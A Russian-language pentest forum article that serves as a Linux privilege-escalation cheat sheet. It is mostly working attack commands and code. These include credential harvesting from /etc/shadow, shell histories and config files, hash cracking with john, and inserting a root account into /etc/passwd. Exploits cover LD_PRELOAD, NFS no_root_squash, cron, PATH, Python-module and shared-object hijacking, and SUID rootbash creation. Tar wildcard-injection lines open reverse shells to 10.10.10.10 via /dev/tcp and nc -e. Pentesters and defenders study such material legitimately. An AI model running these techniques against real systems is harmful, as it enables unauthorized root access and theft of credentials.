РАЗБОР
Pentest
Статья
Эскалация привилегий Linux
[ обложка статьи ]
Режим чтения
Доброго времени, форумчане, Вас приветствует infoseclab.ru.
Пишем статью по эскалации привилегий в Unix-подобных ОС.
Чувствительные файлы, которые нужно проверить на слабые права
Код:
# Проверить права на важные системные файлы
ls -la /etc/passwd /etc/shadow /etc/group /etc/sudoers
# Если /etc/passwd доступен для записи, можно добавить root-пользователя
echo 'eviluser:$1$evil$vCheOdpWJZtECzdZ1fSBq0:0:0:Evil:/root:/bin/bash' >> /etc/passwd
# Вход: eviluser:evil
# Если /etc/shadow читаем, извлечь хэши для взлома
cat /etc/shadow | grep -v ":\*:" | grep -v ":!" > hashes.txt
john --format=sha512crypt hashes.txt
# Проверить приватные SSH-ключи с неправильными правами
find / -name id_rsa 2>/dev/null | xargs ls -la
find / -name "*.pem" 2>/dev/null | xargs ls -la
# Найти p12-файлы, которые могут содержать встроенные приватные ключи
find / -name "*.p12" 2>/dev/null | xargs ls -al
# Проверить приватные бэкапы со слабыми правами
find / -name "*backup*" -o -name "*.bak" -o -name "*.old" 2>/dev/null | xargs ls -la
# Проверить логи на учётные данные или чувствительную информацию
find /var/log -type f -readable | xargs grep -l -i "password\|user\|login\|credential"
Конфигурационные файлы приложений
Код:
# Типичные места для конфигов приложений, которые могут содержать учётные данные
find /etc -type f -name "*.conf" -o -name "*.cfg" -o -name "*.config" 2>/dev/null | xargs grep -l -i "password\|user\|credential"
# Проверить конфиги веб-серверов
grep -r "password\|user" /etc/apache2/ /etc/nginx/ /etc/httpd/ 2>/dev/null
# Конфигурационные файлы баз данных
grep -r "password\|user" /etc/mysql/ /etc/postgresql/ 2>/dev/null
# Найти читаемые .htpasswd
find / -name .htpasswd -readable 2>/dev/null
# Искать учётные данные в открытом виде в конфигах веб-приложений
find /var/www -type f -name "wp-config.php" -o -name "configuration.php" -o -name "config.inc.php" 2>/dev/null | xargs grep -l -i "password\|user"
# Найти читаемые конфиги в /etc, так как там обычно лежат кастомные конфиги приложений
find /etc -type f -iname "*.conf" -readable 2>/dev/null
Чек-лист методологии
Первичная разведка
- Проверить текущего пользователя (id, whoami)
- Проверить информацию о системе (uname -a, hostname, cat /etc/os-release)
- Вывести список пользователей в системе (cat /etc/passwd, ls -la /home)
- Попробовать использовать имя пользователя в качестве пароля для всех найденных пользователей
- Если есть интересные пользователи, запомнить их, чтобы искать их учётные данные
- Проверить группы, в которых вы состоите (id, groups)
- Запустить автоматические скрипты (LinPEAS, LSE, LinEnum)
- Просмотреть вывод команд на «красные флаги» - потенциальные уязвимости
- Проверить root-кроны с помощью pspy
- Проверить setuid-файлы и capabilities на предмет возможного злоупотребления
Векторы повышения привилегий
Сначала загуглить все сервисы, которые вы обнаружили работающими снаружи, на предмет LPE.Охота за учётными данными
- Проверить файлы истории (~/.bash_history и т.д.)
- Прочитать логи в /var/log/
- Искать конфиги с учётными данными
- Проверить наличие паролей в открытом виде в памяти
- Найти SSH-ключи с неправильными правами
Права на файлы
Проверить критичные файлы (/etc/passwd, /etc/shadow и т.д.)Методы повышения привилегий в Linux
Первичное перечисление и стратегия
Код:
# Первые шаги — определить, кто вы
id
whoami
hostname
# Проверить ваши sudo-привилегии
sudo -l
# Если у вас сейчас нет пароля и вы хотите узнать, можете ли вы запускать sudo,
# чтобы решить, стоит ли искать пароль пользователя.
# Если получите информацию, сможете запускать sudo; иначе будет видно, что текущий пользователь не может.
sudo -v
# Проверить интересные файлы в домашних каталогах
ls -la ~
cat ~/.bash_history
find /home -type f -name "*.txt" -o -name "*.cfg" -o -name "*.conf" 2>/dev/null
# Искать необычные файловые системы
df -h | grep -v "tmpfs\|proc\|sysfs\|devtmpfs\|cgroup"
# Искать файлы в очевидных местах
find /var/backup -type f 2>/dev/null
find /var/logs -type f 2>/dev/null
find /opt -type f -perm -o+r 2>/dev/null
# Искать других пользователей в системе и пробовать их имя как пароль
su user
# введите user как пароль
Перечисление процессов
Код:
# Проверить процессы, запущенные от root
ps aux | grep "^root"
# Мониторить процессы в реальном времени (отлично для ловли cron-задач)
watch -n 1 "ps aux | grep root"
# Использовать pspy для мониторинга процессов без root-прав
./pspy64 # будьте терпеливы и ищите события, связанные с root/uid 0
Код:
for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
Основные скрипты перечисления
Код:
# Автоматические инструменты перечисления
./LinEnum.sh # Базовый скрипт перечисления
./linpeas_fat.sh -e # Лучший флаг и метод запуска linpeas
./linux-exploit-suggester-2.pl # Предложить эксплойты ядра
./lse.sh -l2 # Linux Smart Enumeration (уровень 2)
./pspy32 # Мониторинг процессов (32-bit)
./pspy64 # Мониторинг процессов (64-bit)
./suid3num.py # Анализ SUID-бинарников
Продвинутый мониторинг процессов
Код:
# Фильтровать вывод pspy на интересные события
./pspy64 | grep -E "(uid=0|root|admin|shadow|cron)"
# Мониторить изменения файлов в реальном времени
inotifywait -m -r /etc /var/www /opt 2>/dev/null
# Проверить, не подключаются ли процессы к неожиданным портам
watch -n 1 "netstat -tulpn | grep LISTEN"
Добыча паролей и охота за учётными данными
Домашние каталоги пользователей
Код:
# Проверить файлы в домашних папках на предмет хранения паролей
find /home -type f -name "*.txt" -o -name "*.cfg" -o -name "*.conf" 2>/dev/null
find /home -type f -name "*pass*" -o -name "*cred*" 2>/dev/null
find /root -type f -name "*.txt" -o -name "*.cfg" -o -name "*.conf" 2>/dev/null
# Проверить файлы окружения на учётные данные
cat ~/.bashrc
cat ~/.profile
cat ~/.bash_history
Почтовое содержимое
Код:
cat /var/mail/root
cat /var/spool/mail/root
Конфигурационные файлы
Код:
# Устаревшее хранение паролей (старые системы)
cat /etc/passwd
# Проверить доступ к shadow-файлу
cat /etc/shadow
# Если читаем, взломать пароли:
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
# Конфиги веб-серверов — часто содержат учётные данные БД
find /etc/apache2/ -name "*.conf" -type f -exec grep -i -l "pass\|db_passwd\|dbpasswd\|pwd" {} \;
find /etc/httpd/ -name "*.conf" -type f -exec grep -i -l "pass\|db_passwd\|dbpasswd\|pwd" {} \;
find /etc/nginx/ -name "*.conf" -type f -exec grep -i -l "pass\|db_passwd\|dbpasswd\|pwd" {} \;
# Конфигурационные файлы баз данных
find /var/www/ -name "wp-config.php" -type f 2>/dev/null
find /var/www/ -name "configuration.php" -type f 2>/dev/null # Joomla
find /var/www/ -name "config.inc.php" -type f 2>/dev/null # phpMyAdmin
find /var/ -name "settings.php" -type f 2>/dev/null # Drupal
# Конфигурация SSH
cat /etc/ssh/sshd_config | grep -i "PermitRootLogin\|PasswordAuthentication"
# Искать строки подключения в файлах кода
grep -r --include="*.php" -l "connect\|mysqli\|getenv" /var/www/ 2>/dev/null
grep -r --include="*.js" -l "api_key\|apikey\|password\|passwd\|pwd" /var/www/ 2>/dev/null
История команд
Код:
# Проверить историю команд на учётные данные (в различных оболочках)
history
grep -i -E "passw|pwd|user|username|login|credential" ~/.bash_history
cat ~/.mysql_history
cat ~/.psql_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.viminfo
cat ~/.zsh_history
cat ~/.python_history
cat ~/.sh_history
# Найти все файлы истории
find / -name "*_history" -type f 2>/dev/null
# Однострочник для поиска паролей во всех файлах истории
find / -name "*_history" -type f 2>/dev/null | xargs grep -i "password\|pass\|pwd"
Рекурсивный поиск
Два основных момента: обязательно меняйте строку поиска. Например, добавьте passw, затем password, pwd, creds, cred и т.д.Вторая высокоточная проверка - использование имён пользователей. Если вы заметили пользователя, который состоит в группе docker или sudo, возможно, вам отчаянно нужен его пароль. Используйте команды ниже и ищите по имени пользователя.
Код:
# Поиск файлов с "passw" в имени
locate passw | more
# Глубокий поиск строк паролей (использовать только в критичных каталогах)
grep --color=auto -R -i "passw" --color=always /etc/ 2>/dev/null
grep --color=auto -R -i "passw" --color=always /var/www/ 2>/dev/null
grep --color=auto -R -i "passw" --color=always /home/ 2>/dev/null
grep --color=auto -R -i "passw" --color=always /opt/ 2>/dev/null
grep --color=auto -R -i "passw" --color=always /mnt/ 2>/dev/null
# Ловит: $password='value', password='value', password:"value", PASSWORD=value и т.д.
find /var/www /opt /etc /home -type f \( -name "*.php" -o -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.xml" -o -name "*.json" -o -name "*.yml" \) 2>/dev/null | xargs grep -E "(password|passwd|pwd|pass)[[:space:]]*[=:][[:space:]]*['\"][^'\"]+['\"]" 2>/dev/null
# Найти файлы, содержащие строки паролей (менее шумно)
find /etc -type f -exec grep -l "password" {} \; 2>/dev/null
# Найти world-readable конфигурационные файлы
find /etc -type f -perm -o=r -name "*.conf" 2>/dev/null
# Искать интересные строки во всех файлах (осторожно, много вывода)
grep -l -i "password\|passw\|pwd\|db_passwd\|dbpasswd" $(find / -readable -type f 2>/dev/null)
# Искать пароли в файлах, изменённых за последние 7 дней
find / -type f -mtime -7 -readable -exec grep -l -i "password" {} \; 2>/dev/null
# Найти логи, которые могут содержать чувствительную информацию
find /var/log -type f -name "*.log" -readable -exec grep -l -i "password\|login\|credential" {} \; 2>/dev/null
# Найти скрытые каталоги, которые могут содержать учётные данные
find / -type d -name ".*" -ls 2>/dev/null | grep -v "^\.\.$"
Эксплуатация SUDO
Понимание прав Sudo
Sudo позволяет пользователям запускать программы с привилегиями безопасности другого пользователя (обычно root). Файл /etc/sudoers управляет этими разрешениями и может быть настроен так:- Разрешить выполнение конкретных команд от root
- Разрешить выполнение команд без пароля
- Ограничить переменные окружения
- Настроить PATH для команд sudo
Общее перечисление
Код:
# Проверить права sudo
sudo -l
# Проверить недавнее использование sudo
cat /var/log/auth.log | grep sudo
# Проверить версию sudo на уязвимости
sudo -V
Анализ конфигурации Sudo
Код:
# Проверить файл sudoers
cat /etc/sudoers # Может требовать привилегий
# Проверить любые кастомные конфигурации sudo
find /etc/sudoers.d/ -type f -exec cat {} \; 2>/dev/null
Эксплуатация записей NOPASSWD
Когда вы видите вывод вроде:
Код:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Код:
sudo -u scriptmanager <команда>
Код:
#!/bin/bash
allowed=$(sudo -l | grep -Eo "[a-zA-Z0-9/._-]+")
for cmd in $allowed; do
cmd=$(basename $cmd)
curl -s https://gtfobins.github.io/gtfobins/$cmd/ | grep -q "sudo" && echo "[+] $cmd можно эксплуатировать через sudo!"
done
Эксплуатация LD_PRELOAD
Требования:- env_keep+=LD_PRELOAD в sudoers
- Хотя бы один бинарник, выполняемый через sudo
- Реальный UID должен совпадать с эффективным UID (иначе LD_PRELOAD игнорируется)
Код:
# Проверить уязвимость
sudo -l | grep "LD_PRELOAD"
# Ищите: env_keep+=LD_PRELOAD
# Метод 1: Простой root-шелл
cat > /tmp/preload.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
sudo LD_PRELOAD=/tmp/preload.so <разрешённая_команда>
# Метод 2: Создать SUID-бинарник
cat > /tmp/preload.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
sudo LD_PRELOAD=/tmp/preload.so <разрешённая_команда>
/tmp/rootbash -p
Эксплуатация NFS Root Squashing
Понимание NFS и Root Squashing
Network File System (NFS) позволяет удалённым системам монтировать каталоги по сети.Root squashing - это функция безопасности, которая предотвращает получение root-привилегий удалёнными root-пользователями на смонтированных ресурсах.
Когда на NFS-ресурсе установлена опция no_root_squash, удалённый root-пользователь может создавать файлы с владельцем root.
Обнаружение
Код:
# Проверить доступные для монтирования ресурсы с Kali
showmount -e <IP_цели>
# Nmap-скрипт для проверки NFS-ресурсов
nmap -sV --script=nfs-showmount <IP_цели>
# Проверить файл exports на цели
cat /etc/exports
# Ищите: no_root_squash
grep -E "no_root_squash|no_all_squash" /etc/exports
Эксплуатация, когда на цели есть no_root_squash
Когда в файле exports указано:
Код:
/ *(rw,sync,insecure,no_root_squash,no_subtree_check)
Код:
# На атакующей системе (нужен root)
mkdir /tmp/nfs_mount
mount -t nfs <IP_цели>:/shared/directory /tmp/nfs_mount
cd /tmp/nfs_mount
# Метод 1: Создать SUID-бинарник
cat > root.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc root.c -o root
chmod +s root
# Как root на локальной системе, установите SUID-бит на бинарник
# На целевой системе
/shared/directory/root
# Флаг -p сохраняет EUID-права
# Метод 2: Простая копия SUID bash
cp /bin/bash /tmp/nfs_mount/bash
chmod +s /tmp/nfs_mount/bash
# На цели запустите
/shared/directory/bash -p
# Метод 3: Добавить запись в /etc/passwd
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' > /tmp/nfs_mount/passwd.new
cat /etc/passwd >> /tmp/nfs_mount/passwd.new
mv /tmp/nfs_mount/passwd.new /tmp/nfs_mount/passwd
# На цели замените /etc/passwd вашей версией:
cp /shared/directory/passwd /etc/passwd
# Вход с учётными данными: hacker:hacker
Эксплуатация членства в группах
Идентификация членства в группах и прав
Код:
# Проверить текущие группы
id
groups
# Найти файлы, принадлежащие конкретной группе
find / -group docker -ls 2>/dev/null
find / -group sudo -ls 2>/dev/null
find / -group admin -ls 2>/dev/null
find / -group adm -ls 2>/dev/null
find / -group shadow -ls 2>/dev/null
find / -group lxd -ls 2>/dev/null
# Найти все файлы, принадлежащие группам, в которых вы состоите
for group in $(groups); do echo "Файлы для группы $group:"; find / -group $group 2>/dev/null | grep -v "^/proc\|^/sys\|^/run"; done
# Найти все скрипты, принадлежащие вашим группам и исполняемые
for group in $(groups); do find / -type f -group $group -perm -u=x 2>/dev/null | grep -v "^/proc\|^/sys"; done
# Использовать stat для проверки прав файла по группе
stat /etc/passwd /etc/shadow /etc/group
Эксплуатация Cron
Cron-задачи - это запланированные задачи в Linux. Когда эти задачи выполняются с привилегиями root, они представляют потенциальные векторы повышения привилегий.Перечисление
Код:
# Мониторинг процессов в реальном времени
./pspy64
# Проверить настроенные cron-задачи
crontab -l
ls -alh /var/spool/cron/
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/crontab
find /etc/cron* -type f -readable 2>/dev/null
# Проверить crontab пользователей
for user in $(cat /etc/passwd | cut -f1 -d':'); do echo "### Crontabs для $user ####"; crontab -u $user -l 2>/dev/null; done
# Проверить systemd-таймеры (новая альтернатива cron)
systemctl list-timers --all
find /etc/systemd/system -type f -name "*.timer" -ls 2>/dev/null
find /usr/lib/systemd/system -type f -name "*.timer" -ls 2>/dev/null
# Однострочник для поиска world-writable целей cron-задач
find $(cat /etc/crontab | grep -v "#" | grep -v "^$" | awk '{print $NF}' 2>/dev/null) -writable 2>/dev/null
Атака перезаписи файлов
Требования:- Cron-задача выполняется от root
- Доступ на запись к выполняемому скрипту/бинарнику
Код:
# Перезаписать целевой скрипт
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /path/to/overwritable/script
# Убедиться, что он исполняемый
chmod +x /path/to/overwritable/script
# Дождаться выполнения cron-задачи, затем запустить
/tmp/rootbash -p
Атака через переменную PATH
Требования для первой атаки:- Cron-задача выполняется от root
- Cron-задача использует относительные пути
- Доступ на запись к каталогу в PATH
Код:
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Код:
# Создать вредоносный исполняемый файл в каталоге PATH с правом записи
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /home/user/overwrite
# Сделать его исполняемым
chmod +x /home/user/overwrite
# Дождаться выполнения cron-задачи, затем запустить
/tmp/rootbash -p
- Скрипт или Cron-задача выполняется от привилегированного пользователя (root или эквивалент)
- Cron-задача или скрипт вызывает команды (включая echo, test или другие вызовы оболочки) с относительным путём
- Рабочий каталог, в котором работает скрипт/cron, доступен вам для записи
Код:
PATH=./home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Эксплуатация:
Код:
# Создать вредоносный исполняемый файл в каталоге с правом записи с именем относительного вызова
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /home/user/echo
# Сделать его исполняемым
chmod +x /home/user/echo
# Дождаться выполнения cron-задачи, которая выполнит echo из рабочего каталога вместо настоящего, и запустить
/tmp/rootbash -p
Перехват Python-модулей
Требования:- Python-скрипт выполняется/вызывается с повышенными привилегиями или привилегиями, отличными от ваших (горизонтальный priv esc)
- Python-скрипт находится в каталоге, доступном для записи вашим пользователем
- Python-скрипт импортирует модули, такие как re и т.д.
Код:
#!/bin/bash
# скрипт запущен от root
python3 /tmp/some_python_script.py
Код:
import dateutil # тень: /tmp/dateutil/__init__.py
import datetime # тень: /tmp/datetime.py
import argparse # тень: /tmp/argparse.py
import sys # тень: /tmp/sys.py
import time # тень: /tmp/time.py
# и т.д. какой-то код ...
Из-за того, как Python импортирует модули, он сначала ищет в том же/текущем каталоге, из которого выполняется Python-скрипт.
Методы эксплуатации
Затем мы просто создаём .py-файл с тем же именем, что и один из импортируемых модулей, например re.py, с нашим контролируемым кодом. Это выполнится при вызове оператора import. Мы также вызовем реальную функцию, чтобы предотвратить сбой системы или проблемы со стабильностью:
Код:
# /tmp/re.py — подложен локальным атакующим
import os
import subprocess
# Полезная нагрузка выполняется от имени пользователя, запускающего родительский скрипт (потенциально root)
subprocess.run(['bash', '-c', 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash'])
# Реэкспортировать реальный модуль, чтобы скрипт не упал/не вызвал подозрений
import importlib, sys
del sys.modules['re']
_real = importlib.import_module('re')
sys.modules['re'] = _real
compile = _real.compile
M = _real.M
Атака Wildcard Injection
Требования:- Cron-задача выполняется от root
- Скрипт использует wildcard (например, tar czf /backup.tar.gz *)
Код:
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
Метод 1: Использование функции checkpoint в tar
Код:
# Создать скрипт полезной нагрузки
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /home/user/runme.sh
chmod +x /home/user/runme.sh
# Создать checkpoint-файлы
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
# Дождаться выполнения команды tar с wildcard, затем
/tmp/rootbash -p
Код:
# Простой reverse shell
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > shell.sh
chmod +x shell.sh
touch "/home/user/--checkpoint-action=exec=sh shell.sh"
touch /home/user/--checkpoint=1
Код:
# Найти все скрипты, использующие wildcard
grep -r "\*" /etc/cron* /var/spool/cron/ /etc/anacrontab 2>/dev/null | grep -v ":#"
# Проверить, есть ли у вас доступ на запись в каталог, где используется wildcard
find $(grep -r "\*" /etc/cron* 2>/dev/null | grep -v ":#" | awk -F: '{print $1}' | xargs dirname 2>/dev/null | sort -u) -writable 2>/dev/null
Код:
# Для tar
touch /home/user/--use-compress-program='nc 10.10.10.10 4444 -e /bin/bash'
# Для rsync
touch /home/user/-e sh\ shell.sh
# Для chown
touch /home/user/--reference=shell.sh
Эксплуатация SUID/SGID-бинарников
Понимание SUID/SGID
SUID (Set User ID) и SGID (Set Group ID) - это биты прав, которые позволяют пользователю выполнять файл с правами владельца файла или группы соответственно. Когда эти специальные права установлены на файлах, принадлежащих root, их можно использовать для повышения привилегий.Поиск SUID/SGID-бинарников
Код:
# Найти все SUID-бинарники (права выполнения пользователя)
find / -type f -perm -u=s 2>/dev/null
# Найти все SGID-бинарники (права выполнения группы)
find / -type f -perm -g=s 2>/dev/null
# Найти и SUID, и SGID-бинарники
find / -type f -a \( -perm -u+s -o -perm -g+s \) 2>/dev/null
# Использовать suid3num.py для автоматического обнаружения и предложений по эксплуатации
python3 suid3num.py
# Найти все SUID/SGID-бинарники и отсортировать по дате (недавно установленные могут быть интересны)
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -la {} \; 2>/dev/null | sort -k6,8
# Отфильтровать «стандартные» SUID-бинарники, которые обычно установлены
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -la {} \; 2>/dev/null | grep -v -E "ping|mount|umount|sudo|su|passwd|unix_chkpwd|newgrp|gpasswd|chsh|at|ssh-keysign|pkexec|chfn|hosts_access|dbus-daemon-launch-helper|exim"
Эксплуатация файловых capabilities в Linux
Capabilities Linux - это гранулярный способ предоставления повышенных прав файлу для выполнения конкретного действия. Например, capability может позволить файлу выполнять чтение файлов как root, но только для этой узкой, определённой задачи в привилегированном контексте.
Код:
# Найти все бинарники с capabilities
getcap -r / 2>/dev/null
# Проверить capabilities конкретного бинарника
getcap /usr/bin/vstpd
# Вывести список всех доступных capabilities
capsh --print
# Все эксплуатируемые capabilities:
# CAP_SETUID - позволяет менять UID
# CAP_DAC_OVERRIDE - обходит проверки прав на чтение/запись/выполнение файлов
# CAP_DAC_READ_SEARCH - обходит проверки прав на чтение файлов/каталогов
# CAP_SYS_ADMIN - практически root
# CAP_NET_RAW - перехват пакетов
# CAP_CHOWN - смена владельца файла
# +ep означает, что файл может делать что угодно как root (по сути setuid)
# Пример эксплуатации:
# Если python имеет cap_setuid+ep
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Если perl имеет cap_setuid+ep
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# Если tar имеет CAP_DAC_READ_SEARCH
/usr/bin/tar -cf /tmp/shadow.tar /etc/shadow
tar -xf /tmp/shadow.tar -O
# Если zip имеет CAP_DAC_READ_SEARCH
/usr/bin/zip /tmp/shadow.zip /etc/shadow
unzip -p /tmp/shadow.zip
# Если openssl имеет CAP_DAC_READ_SEARCH
/usr/bin/openssl enc -in /etc/shadow
# Если cp имеет CAP_DAC_OVERRIDE
echo 'root::0:0:root:/root:/bin/bash' > /tmp/passwd
/usr/bin/cp /tmp/passwd /etc/passwd
Shell Escape Sequences
Проверьте GTFOBins на предмет техник эксплуатации
Код:
# Быстрый скрипт для идентификации эксплуатируемых SUID-бинарников с помощью GTFOBins
for suid in $(find / -type f -perm -4000 2>/dev/null); do
basename=$(basename $suid)
curl -s https://gtfobins.github.io/gtfobins/$basename/ | grep -q "suid" && echo "[+] $suid можно эксплуатировать через SUID!"
done
Инъекция разделяемых объектов (Shared Object Injection)
Требования:- SUID-бинарник вызывает отсутствующий файл разделяемого объекта (.so)
- Доступ на запись к каталогу, содержащему отсутствующий .so
Код:
# Найти отсутствующие разделяемые объекты с помощью strace
strace /path/to/suid/binary 2>&1 | grep -i -E "open|access|no such file"
# Альтернатива: использовать ltrace, чтобы также видеть вызовы библиотек
ltrace /path/to/suid/binary 2>&1 | grep -i -E "open|access|dlopen"
# Создать вредоносный разделяемый объект
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p");
}
EOF
# Скомпилировать разделяемый объект
gcc -shared -fPIC -o /path/to/missing.so /tmp/evil.c
# Запустить SUID-бинарник
/path/to/suid/binary
# Выполнить с повышенными привилегиями
/tmp/rootbash -p
Перехват разделяемых объектов (Shared Object Hijacking)
Требования:- Привилегированная программа запущена/вызывает SO-файл, на который у вас есть права записи ИЛИ
- У вас есть права записи на каталог, в котором привилегированная программа вызывает .so-файл ИЛИ
- Вы владеете каталогом, из которого привилегированный процесс вызывает SO-файл (это выглядит иначе, чем явные права записи)
Код:
# Получить список всех запущенных процессов и каждого загруженного ими разделяемого объекта
lsof -n | grep 'DEL\|REG' | grep '\.so$'
# Не во всех *nix системах гарантированно есть lsof, поэтому можно использовать следующее
# для поиска каждого процесса и его загруженных разделяемых объектов
for i in /proc/[0-9]*/maps; do echo -e "\n--- $(basename $(dirname $i)) ---\n$(grep '\.so' $i 2>/dev/null | grep -v 'vdso\|vsyscall')"; done
# Обнаружить SO-файлы и/или связанные каталоги, загруженные целью, доступные для записи текущему пользователю
ldd /usr/bin/some_binary | awk '{print $3}' | grep '^/' | while read -r so; do [ -w "$so" ] && echo "Запись в файл: $so"; [ -w "$(dirname "$so")" ] && echo "Запись в каталог: $(dirname "$so")/$"; done
RPATH / RUNPATH в разделяемых объектах
RPATH / RUNPATH - это жёстко закодированные пути поиска библиотек, встроенные в ELF-исполняемые файлы. Они сообщают динамическому компоновщику, где искать разделяемые библиотеки, используемые этим бинарником.readelf -d показывает их как записи RPATH или RUNPATH. (Строки NEEDED показывают, какие библиотеки требуются.)
Некоторые ключевые различия (есть и другие, но я не проверял):
- DT_RPATH (RPATH) - старее. Ищется перед LD_LIBRARY_PATH.
- DT_RUNPATH (RUNPATH) - новее. Ищется после LD_LIBRARY_PATH.
Код:
# Показать RPATH / RUNPATH и необходимые библиотеки для данного бинарника
readelf -d ./some_binary | egrep "NEEDED|RPATH|RUNPATH"
# Искать RPATH/RUNPATH в целевом бинарнике и проверять наличие доступных для записи файлов/каталогов в директиве
bin=/usr/bin/some_binary; readelf -d "$bin" 2>/dev/null | awk -F'[][]' '/RPATH|RUNPATH/{print $2}' | tr ':' '\n' | while IFS= read -r dir; do [ -w "$dir" ] && echo "Writable RPATH Dir: $dir"; for f in "$dir"/*.so*; do [ -f "$f" ] && [ -w "$f" ] && echo "Writable SO: $f"; done; done
Как общий комментарий ко всем вышеперечисленным примитивам злоупотребления разделяемыми объектами: наибольшие успехи придут при нацеливании на экзотические/кастомные файлы, реализованные внутренними разработчиками, или на странных системах, таких как принтеры (да, принтеры) и другие IoT-устройства с менее потребительским/широко распространённым инструментарием.
Однострочники для поиска уязвимых SUID-бинарников
Код:
# Найти SUID-программы, вызывающие функцию system()
for suid in $(find / -type f -perm -4000 2>/dev/null); do strings $suid | grep -i "system(" && echo "System call found in $suid"; done
# Найти SUID-программы, импортирующие небезопасные библиотечные функции
for suid in $(find / -type f -perm -4000 2>/dev/null); do objdump -T $suid 2>/dev/null | grep -E "system|exec|fork|bash" && echo "Vulnerable import in $suid"; done
# Проверить SUID-программы с относительными вызовами бинарников
for suid in $(find / -type f -perm -4000 2>/dev/null); do strings $suid | grep -E "^[a-zA-Z0-9_-]{1,30}$" | sort -u | xargs which 2>/dev/null | grep -v "^/"; done
# Найти кастомные (нестандартные) SUID-бинарники, которые могут быть уязвимы
find / -type f -perm -4000
# Проверить строки в SUID-бинарнике, особенно если он выглядит кастомным, и посмотреть, вызывает ли он другие программы или выполняет файлы без полного пути
Эксплуатация переменных окружения
Для относительных ссылок на бинарники
Требования:- SUID-бинарник делает относительные вызовы других программ
- Контроль над переменной окружения PATH
Код:
# Проверить вызовы бинарников с помощью strings
strings /usr/local/bin/suid-binary
# Определить, использует ли бинарник system() или execve() с относительными путями
strace -v -f -e execve /usr/local/bin/suid-binary 2>&1 | grep exec
# Альтернатива: использовать ltrace для отслеживания библиотечных вызовов
ltrace /usr/local/bin/suid-binary 2>&1 | grep -E "system|exec|popen"
# Изменить PATH, чтобы включить наш вредоносный каталог
export PATH=/tmp:$PATH
# Создать вредоносный бинарник с именем относительного вызова
cat > /tmp/program_name << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/program_name
# Выполнить SUID-бинарник
/usr/local/bin/suid-binary
# Запустить с повышенными привилегиями
/tmp/rootbash -p
Для абсолютных ссылок на бинарники
Требования:SUID-бинарник делает абсолютные вызовы других программ
Код:
# Создать функцию с именем абсолютного пути
function /usr/sbin/service() {
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
}
# Экспортировать функцию
export -f /usr/sbin/service
# Выполнить SUID-бинарник
/usr/local/bin/suid-binary
# Запустить с повышенными привилегиями
/tmp/rootbash -p
Злоупотребление функциями оболочки (Bash < 4.2-048)
Код:
# Убедиться, что версия bash уязвима
bash --version
# Создать bash-функцию с абсолютным путём
function /usr/sbin/service { /bin/bash -p; }
# Экспортировать функцию
export -f /usr/sbin/service
# Выполнить SUID-бинарник
/usr/local/bin/suid-binary
Злоупотребление режимом отладки Bash (Bash < 4.4)
Код:
# Для бинарников, использующих system() или подобное и запускаемых через bash
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-binary
# Выполнить rootbash
/tmp/rootbash -p
Поиск уязвимых SUID-бинарников (продвинутый)
Код:
# Найти SUID-файлы с зависимостями от динамических библиотек
for suid in $(find / -perm -4000 -type f 2>/dev/null); do
ldd "$suid" 2>/dev/null | grep -q "=> not found" && echo "[$suid] Missing library!"
done
# Найти SUID-программы с файловыми операциями в каталогах, куда мы можем писать
strace -f -e trace=file /path/to/suid/binary 2>&1 | grep -E "open|access|stat" | grep -E "/tmp|/var/tmp|/dev/shm|/home"
# Найти все SUID-бинарники с файловыми операциями/функциями exec
for suid in $(find / -perm -4000 -type f 2>/dev/null); do
echo "======== $suid ========"
strings "$suid" | grep -E "fopen|open|system|exec|popen"
done
Эксплуатация стартовых скриптов и сервисов
Идентификация уязвимых стартовых скриптов
Код:
# Проверить стартовые скрипты, доступные для записи текущему пользователю, в различных местах
find /etc/init.d -writable 2>/dev/null
